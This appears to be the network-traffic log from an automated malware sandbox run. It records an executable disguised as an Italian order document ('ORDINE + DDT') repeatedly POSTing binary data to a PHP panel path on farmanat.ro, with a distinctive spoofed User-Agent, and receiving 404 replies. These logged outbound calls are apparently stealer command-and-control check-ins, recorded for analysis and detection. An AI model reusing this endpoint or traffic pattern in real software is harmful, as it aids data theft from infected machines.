Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	49883	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:31.831959963 CET	6375	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:31.919064045 CET	6376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.11.20	50314	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.11.20	50315	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.11.20	50316	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.11.20	50317	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.11.20	50318	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.11.20	50319	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.11.20	50320	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.11.20	50321	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.11.20	50322	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.11.20	50323	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.11.20	49884	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:32.435657024 CET	6376	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:32.519407034 CET	6377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.11.20	50324	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.11.20	50325	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.11.20	50326	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.11.20	50327	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.11.20	50328	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.11.20	50329	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.11.20	50330	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.11.20	50331	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.11.20	50332	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.11.20	50333	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.11.20	49885	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:33.088495016 CET	6378	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:33.174014091 CET	6378	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.11.20	50334	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.11.20	50335	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.11.20	50336	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.11.20	50337	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.11.20	50338	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.11.20	50339	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.11.20	50340	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.11.20	50341	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.11.20	50342	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.11.20	50343	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49824	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:03.269522905 CET	6306	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:03.352428913 CET	6306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	49886	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:33.744999886 CET	6379	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:33.827759027 CET	6380	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.11.20	50344	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.11.20	50345	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.11.20	50346	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.11.20	50347	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.11.20	50348	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.11.20	50349	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.11.20	50350	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.11.20	50351	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.11.20	50352	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.11.20	50353	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	49887	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:34.343229055 CET	6380	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:34.427978992 CET	6381	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.11.20	50354	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.11.20	50355	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.11.20	50356	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.11.20	50357	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.11.20	50358	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.11.20	50359	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.11.20	50360	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.11.20	50361	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.11.20	50362	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.11.20	50363	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	49888	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:34.941843033 CET	6382	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:35.026457071 CET	6382	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.11.20	50364	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.11.20	50365	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.11.20	50366	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.11.20	50367	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.11.20	50368	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	192.168.11.20	50369	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.11.20	50370	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.11.20	50371	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.11.20	50372	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.11.20	50373	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	49889	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:35.542264938 CET	6383	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:35.624941111 CET	6384	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.11.20	50374	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.11.20	50375	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.11.20	50376	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.11.20	50377	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.11.20	50378	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.11.20	50379	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.11.20	50380	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.11.20	50381	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	192.168.11.20	50382	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	192.168.11.20	50383	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	49890	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:36.204633951 CET	6384	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:36.296611071 CET	6385	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.11.20	50384	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	192.168.11.20	50385	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.11.20	50386	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	192.168.11.20	50387	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.11.20	50388	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	192.168.11.20	50389	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.11.20	50390	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	192.168.11.20	50391	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.11.20	50392	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	192.168.11.20	50393	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	49891	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:36.820807934 CET	6386	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:36.904438019 CET	6386	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.11.20	50394	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	192.168.11.20	50395	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.11.20	50396	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	192.168.11.20	50397	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.11.20	50398	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	192.168.11.20	50399	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.11.20	50400	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.11.20	50401	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	192.168.11.20	50402	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
559	192.168.11.20	50403	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	49892	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:37.469780922 CET	6387	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
